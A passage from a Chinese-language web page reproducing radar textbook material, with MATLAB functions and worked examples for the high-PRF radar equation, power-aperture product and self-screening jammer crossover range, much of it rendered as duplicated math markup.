f_rT_iG^2\lambda^2\sigma}{(4\pi)^3R^4kT_0FL}</span><span><span><span></span><span>S</span><span>N</span><span>R</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>(</span><span>4</span><span>π</span><span><span>)</span><span><span><span><span><span><span></span><span><span>3</span></span></span></span></span></span></span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>4</span></span></span></span></span></span></span></span><span>k</span><span><span>T</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>F</span><span>L</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>P</span><span><span><span><span><span><span></span><span><span><span>t</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>τ</span><span><span>f</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>T</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>G</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span><span>λ</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>σ</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></p></blockquote><p>其中：</p>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>符号</td><td>说明</td><td>单位</td><td>状态</td></tr><tr><td><em>pt</em></td><td>峰值功率</td><td>W</td><td>输入</td></tr><tr><td><em>Ti</em></td><td>目标上的时间</td><td>s</td><td>输入</td></tr><tr><td><em>g</em></td><td>天线增益</td><td>dB</td><td>输入</td></tr><tr><td><em>freq</em></td><td>频率</td><td>Hz</td><td>输入</td></tr><tr><td><em>sigma</em></td><td>目标截面积</td><td>m2</td><td>输入</td></tr><tr><td><em>dt</em></td><td>占空因子</td><td>无</td><td>输入</td></tr><tr><td><em>range</em></td><td>目标距离（可以是单值或向量）</td><td>km</td><td>输入</td></tr><tr><td><em>nf</em></td><td>噪声系数</td><td>dB</td><td>输入</td></tr><tr><td><em>loss</em></td><td>雷达损耗</td><td>dB</td><td>输入</td></tr><tr><td><em>snr</em></td><td>SNR（可以是单值或向量）</td><td>dB</td><td>输出</td></tr></tbody></table><p>图2.3给出了函数“hprf_req.m”产生的几种典型输出。</p><p><img alt="" loading="lazy" width="1389" height="895" src="/_astro/image-05-d0fd73c49e2e.DYV1rOVC_Ze1Rn0.webp" /></p><p>例：</p><p>计算一个具有下列参数的高PRF雷达的单个脉冲SNR：峰值功率<span><span>Pt=100kWP_t=100kW</span><span><span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>100</span><span>k</span><span>W</span></span></span></span>，天线增益G=20dB，工作频率<span><span>f0=5.6GHzf_0=5.6GHz</span><span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>5.6</span><span>G</span><span>H</span><span>z</span></span></span></span>，雷达损耗L=8dB，噪声系数F=5dB，驻留间隔<span><span>Ti=2sT_i=2s</span><span><span><span></span><span><span>T</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>2</span><span>s</span></span></span></span>，占空因子dt=0.3。感兴趣的距离R=50km。假设目标的<span><span>RCSσ=0.01m2RCS\sigma=0.01m^2</span><span><span><span></span><span>R</span><span>C</span><span>S</span><span>σ</span><span></span><span>=</span><span></span></span><span><span></span><span>0.01</span><span><span>m</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span>。</p><p>解：由方程（2.31）得</p><span><span><span>(SNR)dB=(Pav+G2+λ2+σ2+Ti−(4π)3−R4−kT0−F−L)dB(SNR)_{dB}=(P_{av}+G^2+\lambda^2+\sigma^2+T_i-(4\pi)^3-R^4-kT_0-F-L)_{dB}</span><span><span><span></span><span>(</span><span>S</span><span>N</span><span>R</span><span><span>)</span><span><span><span><span><span><span></span><span><span><span>d</span><span>B</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>(</span><span><span>P</span><span><span><span><span><span><span></span><span><span><span>a</span><span>v</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span><span>G</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span><span>λ</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span><span>σ</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span><span>T</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>(</span><span>4</span><span>π</span><span><span>)</span><span><span><span><span><span><span></span><span><span>3</span></span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>4</span></span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>k</span><span><span>T</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>F</span><span></span><span>−</span><span></span></span><span><span></span><span>L</span><span><span>)</span><span><span><span><span><span><span></span><span><span><span>d</span><span>B</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><blockquote><p><span><span>SNR=PavTiG2λ2σ(4π)3R4kT0FLSNR=\frac{P_{av}T_iG^2\lambda^2\sigma}{(4\pi)^3R^4kT_0FL}</span><span><span><span></span><span>S</span><span>N</span><span>R</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>(</span><span>4</span><span>π</span><span><span>)</span><span><span><span><span><span><span></span><span><span>3</span></span></span></span></span></span></span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>4</span></span></span></span></span></span></span></span><span>k</span><span><span>T</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>F</span><span>L</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>P</span><span><span><span><span><span><span></span><span><span><span>a</span><span>v</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>T</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>G</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span><span>λ</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>σ</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></p></blockquote><p>下表给出了单位是dB的所有参数：</p>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>P_{av}</td><td><span><span>λ2\lambda^2</span><span><span><span></span><span><span>λ</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></td><td>T_i</td><td>kT_0</td><td><span><span>(4π)3(4\pi)^3</span><span><span><span></span><span>(</span><span>4</span><span>π</span><span><span>)</span><span><span><span><span><span><span></span><span><span>3</span></span></span></span></span></span></span></span></span></span></span></td><td>R^4</td><td><span><span>σ\sigma</span><span><span><span></span><span>σ</span></span></span></span></td></tr><tr><td>44.771</td><td>-25.421</td><td>3.01</td><td>-203.977</td><td>32.976</td><td>187.959</td><td>-20</td></tr></tbody></table><p>(SNR)_{dB}=44.771+40-25.421-20+3.01-32.976+203.977-187.959-5-9=12.4dB</p><p>通过以下语法采用函数“hprf_req.m”可得到相同的答案：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>hprf_req(100e3,2,20,5.6e9,0.01,0.3,50e3,5,8)</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h2>MATLAB函数“power_aperture.m”<a href="#matlab函数power_aperturem"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function PAP = power_aperture(snr,tsc,sigma,range,nf,loss,az_angle,el_angle)</span></div></div><div><div><div>2</div></div><div><span>% This function implements Eq. (2.38) of textbook</span></div></div><div><div><div>3</div></div><div><span>%</span></div></div><div><div><div>4</div></div><div><span>% Inputs:</span></div></div><div><div><div>5</div></div><div><span><span>        </span></span><span>% snr       == SNR in dB</span></div></div><div><div><div>6</div></div><div><span><span>        </span></span><span>% tsc       == scan time in seconds</span></div></div><div><div><div>7</div></div><div><span><span>        </span></span><span>% sigma     == radar cross section in meter squared</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>% range     == range to target in Km</span></div></div><div><div><div>9</div></div><div><span><span>        </span></span><span>% nf        == noise Figure in dB</span></div></div><div><div><div>10</div></div><div><span><span>        </span></span><span>% loss      == total radar losses in dB</span></div></div><div><div><div>11</div></div><div><span><span>        </span></span><span>% az_angle  == azimuth search extent in degrees</span></div></div><div><div><div>12</div></div><div><span><span>        </span></span><span>% el_angle  == elevation search extent in degrees</span></div></div><div><div><div>13</div></div><div><span>%</span></div></div><div><div><div>14</div></div><div><span>% Outputs:</span></div></div><div><div><div>15</div></div><div><span><span>        </span></span><span>% PAP       == power aperture product in dB</span></div></div><div><div><div>16</div></div><div><span>%</span></div></div><div><div><div>17</div></div><div><span>Tsc = 10*log10(tsc); % convert Tsc into dB</span></div></div><div><div><div>18</div></div><div><span>Sigma = 10*log10(sigma); % convert sigma to dB</span></div></div><div><div><div>19</div></div><div><span>four_pi = 10*log10(4.0 * pi); % (4pi) in dB</span></div></div><div><div><div>20</div></div><div><span>k_db = 10*log10(1.38e-23); % Boltzman's constant in dB</span></div></div><div><div><div>21</div></div><div><span>To = 10*log10(290); % noise temp. in dB</span></div></div><div><div><div>22</div></div><div><span>range_pwr4_db = 10*log10(range.^4); % target range^4 in dB</span></div></div><div><div><div>23</div></div><div><span>omega = (az_angle/57.296) * (el_angle / 57.296); % compute search volume in steraradians</span></div></div><div><div><div>24</div></div><div><span>Omega = 10*log10(omega); % search volume in dB</span></div></div><div><div><div>25</div></div><div><span>% implement Eq. (1.79)</span></div></div><div><div><div>26</div></div><div><span>PAP = snr + four_pi + k_db + To + nf + loss + range_pwr4_db + Omega ...</span></div></div><div><div><div>27</div></div><div><span><span>    </span></span><span>- Sigma - Tsc;</span></div></div><div><div><div>28</div></div><div><span>return</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>函数“power_aperture.m”执行方程（2.38）中给出的搜索雷达方程。语法如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>PAP</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p><span><span>SNR=PavAeσ4πkT0FLR4TscΩSNR=\frac{P_{av}A_e\sigma}{4\pi kT_0FLR^4}\frac{T_{sc}}{\Omega}</span><span><span><span></span><span>S</span><span>N</span><span>R</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>4</span><span>π</span><span>k</span><span><span>T</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>F</span><span>L</span><span><span>R</span><span><span><span><span><span><span></span><span><span>4</span></span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>P</span><span><span><span><span><span><span></span><span><span><span>a</span><span>v</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>A</span><span><span><span><span><span><span></span><span><span>e</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>σ</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>Ω</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>T</span><span><span><span><span><span><span></span><span><span><span>sc</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></p></blockquote><p>其中：</p>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>符号</td><td>说明</td><td>单位</td><td>状态</td></tr><tr><td>snr</td><td>灵敏度</td><td>dB</td><td>输入</td></tr><tr><td>tsc</td><td>扫描时间</td><td>s</td><td>输入</td></tr><tr><td>sigma</td><td>目标截面积</td><td>m2</td><td>输入</td></tr><tr><td>range</td><td>目标距离</td><td>km</td><td>输入</td></tr><tr><td>nf</td><td>噪声系数</td><td>dB</td><td>输入</td></tr><tr><td>loss</td><td>雷达损耗</td><td>dB</td><td>输入</td></tr><tr><td>az_angle</td><td>搜索区域方位上的范围</td><td>度</td><td>输入</td></tr><tr><td>el_angle</td><td>搜索区域仰角上的范围</td><td>度</td><td>输入</td></tr><tr><td>PAP</td><td>功率孔径积</td><td>dB</td><td>输出</td></tr></tbody></table><p>图2.6给出三种RCS选择的功率孔径积与探测距离的关系曲线图，以及雷达平均功率与功率孔径积的关系曲线图。采用如下的雷达参数：</p>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td><span><span>σ\sigma</span><span><span><span></span><span>σ</span></span></span></span></td><td>T_{sc}</td><td><span><span>θe=θa\theta_e=\theta_a</span><span><span><span></span><span><span>θ</span><span><span><span><span><span><span></span><span><span>e</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span>θ</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></td><td>R</td><td><span><span>nf×lossnf\times loss</span><span><span><span></span><span>n</span><span>f</span><span></span><span>×</span><span></span></span><span><span></span><span>l</span><span>oss</span></span></span></span></td><td>snr</td></tr><tr><td>0.1m2</td><td>2.5s</td><td><span><span>2∘2^\circ</span><span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span>∘</span></span></span></span></span></span></span></span></span></span></span></td><td>250km</td><td>13dB</td><td>15dB</td></tr></tbody></table><p><img alt="" loading="lazy" width="1389" height="895" src="/_astro/image-06-6813307b9939.BAaNYlr6_Z1fXH4L.webp" /></p><p><img alt="" loading="lazy" width="1376" height="895" src="/_astro/image-07-03555e1b3962.BvKmzryr_ZOI9j4.webp" /></p><p>例：</p><p>计算一个具有下列参数的雷达的功率孔径积：扫描时间<span><span>Tsc=2sT_{sc}=2s</span><span><span><span></span><span><span>T</span><span><span><span><span><span><span></span><span><span><span>sc</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>2</span><span>s</span></span></span></span>，噪声系数F=8dB，损耗L=6dB，搜索区域<span><span>Ω=7.4sr\Omega=7.4sr</span><span><span><span></span><span>Ω</span><span></span><span>=</span><span></span></span><span><span></span><span>7.4</span><span>sr</span></span></span></span>，感兴趣的距离是R=75km，需要的SNR为20dB。假设<span><span>σ=3.162m2\sigma=3.162m^2</span><span><span><span></span><span>σ</span><span></span><span>=</span><span></span></span><span><span></span><span>3.162</span><span><span>m</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span>。</p><p>解：注意<span><span>Ω=7.4sr\Omega=7.4sr</span><span><span><span></span><span>Ω</span><span></span><span>=</span><span></span></span><span><span></span><span>7.4</span><span>sr</span></span></span></span>对应于四分之三个半球的搜索扇区。因此，使用方程（2.32）得出<span><span>θa=180∘\theta_a=180^\circ</span><span><span><span></span><span><span>θ</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>18</span><span><span>0</span><span><span><span><span><span><span></span><span><span>∘</span></span></span></span></span></span></span></span></span></span></span>，<span><span>θe=135∘\theta_e=135^\circ</span><span><span><span></span><span><span>θ</span><span><span><span><span><span><span></span><span><span>e</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>13</span><span><span>5</span><span><span><span><span><span><span></span><span><span>∘</span></span></span></span></span></span></span></span></span></span></span>。以如下语法使用MATLAB函数“<span><span>poweraperture.mpower_aperture.m</span><span><span><span></span><span>p</span><span>o</span><span>w</span><span>e</span><span><span>r</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>p</span><span>er</span><span>t</span><span>u</span><span>r</span><span>e</span><span>.</span><span>m</span></span></span></span>”：</p><span><span><span>PAP=power_aperture(20,2,3.162,75e3,8,6,180,135)PAP=power\_aperture(20,2,3.162,75e3,8,6,180,135)</span><span><span><span></span><span>P</span><span>A</span><span>P</span><span></span><span>=</span><span></span></span><span><span></span><span>p</span><span>o</span><span>w</span><span>er</span><span>_</span><span>a</span><span>p</span><span>er</span><span>t</span><span>u</span><span>r</span><span>e</span><span>(</span><span>20</span><span>,</span><span></span><span>2</span><span>,</span><span></span><span>3.162</span><span>,</span><span></span><span>75</span><span>e</span><span>3</span><span>,</span><span></span><span>8</span><span>,</span><span></span><span>6</span><span>,</span><span></span><span>180</span><span>,</span><span></span><span>135</span><span>)</span></span></span></span></span><p>计算后得到的功率孔径积为36.7dB。</p><p>例：</p><p>角度覆盖范围在方位角和仰角上都是<span><span>2∘2^\circ</span><span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span>∘</span></span></span></span></span></span></span></span></span></span></span>。因此立体角覆盖范围是</p><span><span><span>Ω=2×2(57.23)2=−29.132dB\Omega=\frac{2\times2}{(57.23)^2}=-29.132dB</span><span><span><span></span><span>Ω</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>(</span><span>57.23</span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>2</span><span></span><span>×</span><span></span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>−</span><span>29.132</span><span>d</span><span>B</span></span></span></span></span><p>注意，因子<span><span>360/2π=57.23360/2\pi=57.23</span><span><span><span></span><span>360/2</span><span>π</span><span></span><span>=</span><span></span></span><span><span></span><span>57.23</span></span></span></span>把角度转换为立体角。由方程（2.43）有</p><span><span><span>(SNR)dB=(Pav+A+σ+Tsc−16−R4−kT0−L−F−Ω)dB(SNR)_{dB}=(P_{av}+A+\sigma+T_{sc}-16-R^4-kT_0-L-F-\Omega)_{dB}</span><span><span><span></span><span>(</span><span>S</span><span>N</span><span>R</span><span><span>)</span><span><span><span><span><span><span></span><span><span><span>d</span><span>B</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>(</span><span><span>P</span><span><span><span><span><span><span></span><span><span><span>a</span><span>v</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span>A</span><span></span><span>+</span><span></span></span><span><span></span><span>σ</span><span></span><span>+</span><span></span></span><span><span></span><span><span>T</span><span><span><span><span><span><span></span><span><span><span>sc</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>16</span><span></span><span>−</span><span></span></span><span><span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>4</span></span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>k</span><span><span>T</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>L</span><span></span><span>−</span><span></span></span><span><span></span><span>F</span><span></span><span>−</span><span></span></span><span><span></span><span>Ω</span><span><span>)</span><span><span><span><span><span><span></span><span><span><span>d</span><span>B</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td><span><span>σ\sigma</span><span><span><span></span><span>σ</span></span></span></span></td><td>T_{sc}</td><td>16</td><td>R^4</td><td>kT_0</td></tr><tr><td>-10dB</td><td>3.979dB</td><td>12.041dB</td><td>215.918dB</td><td>-203.977dB</td></tr></tbody></table><p>由此</p><p>15=P_{av}+A-10+3.979-12.041-215.918+203.977-5-8+29.133</p><p>那么功率孔径积为</p><p>P_{av}+A=38.716dB</p><p>现在假设雷达波长<span><span>λ=0.03m\lambda=0.03m</span><span><span><span></span><span>λ</span><span></span><span>=</span><span></span></span><span><span></span><span>0.03</span><span>m</span></span></span></span>，则</p><span><span><span>A=Gλ24π=3.550dBA=\frac{G\lambda^2}{4\pi}=3.550dB</span><span><span><span></span><span>A</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>4</span><span>π</span></span></span><span><span></span><span></span></span><span><span></span><span><span>G</span><span><span>λ</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>3.550</span><span>d</span><span>B</span></span></span></span></span><p>P_{av}=-A+38.716=35.166dB</p><p>PA{av}=10^{3.5166}=3285.489W</p><span><span><span>Pt=Pavdt=3285.4890.3=10.9512KWP_t=\frac{P_{av}}{d_t}=\frac{3285.489}{0.3}=10.9512KW</span><span><span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>d</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>P</span><span><span><span><span><span><span></span><span><span><span>a</span><span>v</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>0.3</span></span></span><span><span></span><span></span></span><span><span></span><span><span>3285.489</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>10.9512</span><span>K</span><span>W</span></span></span></span></span></section><section><h2>MATLAB函数“ssj_req.m”<a href="#matlab函数ssj_reqm"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function [BR_range] = ssj_req (pt, g, freq, sigma, br, loss, ...</span></div></div><div><div><div>2</div></div><div><span><span>   </span></span><span>pj, bj, gj, lossj)</span></div></div><div><div><div>3</div></div><div><span>% This function implements Eq.s (2.50) and Eq. (2.52). It also generates</span></div></div><div><div><div>4</div></div><div><span>% plot 2.7a</span></div></div><div><div><div>5</div></div><div><span>%</span></div></div><div><div><div>6</div></div><div><span>% Inputs</span></div></div><div><div><div>7</div></div><div><span><span>        </span></span><span>% pt        == radar peak power in Watts</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>% g         == radar antenna gain in dB</span></div></div><div><div><div>9</div></div><div><span><span>        </span></span><span>% freq      == radar operating frequency in Hz</span></div></div><div><div><div>10</div></div><div><span><span>        </span></span><span>% sigma     == target RCS in squared meters</span></div></div><div><div><div>11</div></div><div><span><span>        </span></span><span>% br        == radar bandwidth in Hz</span></div></div><div><div><div>12</div></div><div><span><span>        </span></span><span>% loss      == radar losses in dB</span></div></div><div><div><div>13</div></div><div><span><span>        </span></span><span>% pj        == jammer power in Watts</span></div></div><div><div><div>14</div></div><div><span><span>        </span></span><span>% bj        == jammer bandwidth in Hz</span></div></div><div><div><div>15</div></div><div><span><span>        </span></span><span>% gj        == jammer antenna gain in dB</span></div></div><div><div><div>16</div></div><div><span><span>        </span></span><span>% loosj     == jammer losses in dB</span></div></div><div><div><div>17</div></div><div><span>%</span></div></div><div><div><div>18</div></div><div><span>% Outputs</span></div></div><div><div><div>19</div></div><div><span><span>        </span></span><span>% BR_range  == cross over range in Km</span></div></div><div><div><div>20</div></div><div>
</div></div><div><div><div>21</div></div><div><span>c = 3.0e+8;</span></div></div><div><div><div>22</div></div><div><span>lambda = c / freq;</span></div></div><div><div><div>23</div></div><div><span>lambda_db = 10*log10(lambda^2);</span></div></div><div><div><div>24</div></div><div><span>if (loss == 0.0)</span></div></div><div><div><div>25</div></div><div><span><span>   </span></span><span>loss = 0.000001;</span></div></div><div><div><div>26</div></div><div><span>end</span></div></div><div><div><div>27</div></div><div><span>if (lossj == 0.0)</span></div></div><div><div><div>28</div></div><div><span><span>   </span></span><span>lossj =0.000001;</span></div></div><div><div><div>29</div></div><div><span>end</span></div></div><div><div><div>30</div></div><div><span>sigmadb =10*log10(sigma);</span></div></div><div><div><div>31</div></div><div><span>pt_db = 10*log10(pt);</span></div></div><div><div><div>32</div></div><div><span>b_db = 10*log10(br);</span></div></div><div><div><div>33</div></div><div><span>bj_db = 10*log10(bj);</span></div></div><div><div><div>34</div></div><div><span>pj_db = 10*log10(pj);</span></div></div><div><div><div>35</div></div><div><span>factor = 10*log10(4.0 *pi);</span></div></div><div><div><div>36</div></div><div><span>BR_range = sqrt((pt * (10^(g/10)) * sigma * bj * (10^(lossj/10))) / ...</span></div></div><div><div><div>37</div></div><div><span><span>   </span></span><span>(4.0 * pi * pj * (10^(gj/10)) * br * ...</span></div></div><div><div><div>38</div></div><div><span><span>   </span></span><span>(10^(loss/10)))) / 1000.0</span></div></div><div><div><div>39</div></div><div><span>s_at_br = pt_db + 2.0 * g + lambda_db + sigmadb - ...</span></div></div><div><div><div>40</div></div><div><span><span>      </span></span><span>3.0 * factor - 4.* 10*log10(BR_range) - loss</span></div></div><div><div><div>41</div></div><div><span>index =0;</span></div></div><div><div><div>42</div></div><div><span>for ran_var = .1:10:10000</span></div></div><div><div><div>43</div></div><div><span><span>   </span></span><span>index = index + 1;</span></div></div><div><div><div>44</div></div><div><span><span>   </span></span><span>ran_db = 10*log10(ran_var * 1000.0);</span></div></div><div><div><div>45</div></div><div><span><span>   </span></span><span>ssj(index) = pj_db + gj + lambda_db + g + b_db - 2.0 * factor - ...</span></div></div><div><div><div>46</div></div><div><span><span>      </span></span><span>2.0 * ran_db - bj_db - lossj + s_at_br ;</span></div></div><div><div><div>47</div></div><div><span><span>   </span></span><span>s(index) = pt_db + 2.0 * g + lambda_db + sigmadb - ...</span></div></div><div><div><div>48</div></div><div><span><span>      </span></span><span>3.0 * factor - 4.* ran_db - loss + s_at_br ;</span></div></div><div><div><div>49</div></div><div><span>end</span></div></div><div><div><div>50</div></div><div><span>ranvar = .1:10:10000;</span></div></div><div><div><div>51</div></div><div><span>ranvar = ranvar ./ BR_range;</span></div></div><div><div><div>52</div></div><div><span>semilogx (ranvar,s,'k',ranvar,ssj,'k-.');</span></div></div><div><div><div>53</div></div><div><span>axis([.1 1000 -90 40])</span></div></div><div><div><div>54</div></div><div><span>xlabel ('Range normalized to cross-over range');</span></div></div><div><div><div>55</div></div><div><span>legend('Target echo','SSJ')</span></div></div><div><div><div>56</div></div><div><span>ylabel ('Relative signal or jamming amplitude - dB');</span></div></div><div><div><div>57</div></div><div><span>grid</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>函数“ssj_req.m”执行方程（2.50）和方程（2.52）。语法如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[]BR_range=ssj_req(pt,g,freq,sigma,br,loss,pj,bj,gj,lossj)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p><span><span>SJ=PtτGσBJ(ERP)(4π)R2BrL\frac{S}{J}=\frac{P_t\tau G\sigma B_J}{(ERP)(4\pi)R^2B_rL}</span><span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>J</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>S</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>(</span><span>E</span><span>R</span><span>P</span><span>)</span><span>(</span><span>4</span><span>π</span><span>)</span><span><span>R</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span><span>B</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>L</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>τ</span><span>G</span><span>σ</span><span><span>B</span><span><span><span><span><span><span></span><span><span>J</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></p><p><span><span>(RCO)SSJ=(PtGσBJ4πBrL(ERP))1/2(R_{CO})_{SSJ}=(\frac{P_tG\sigma B_J}{4\pi 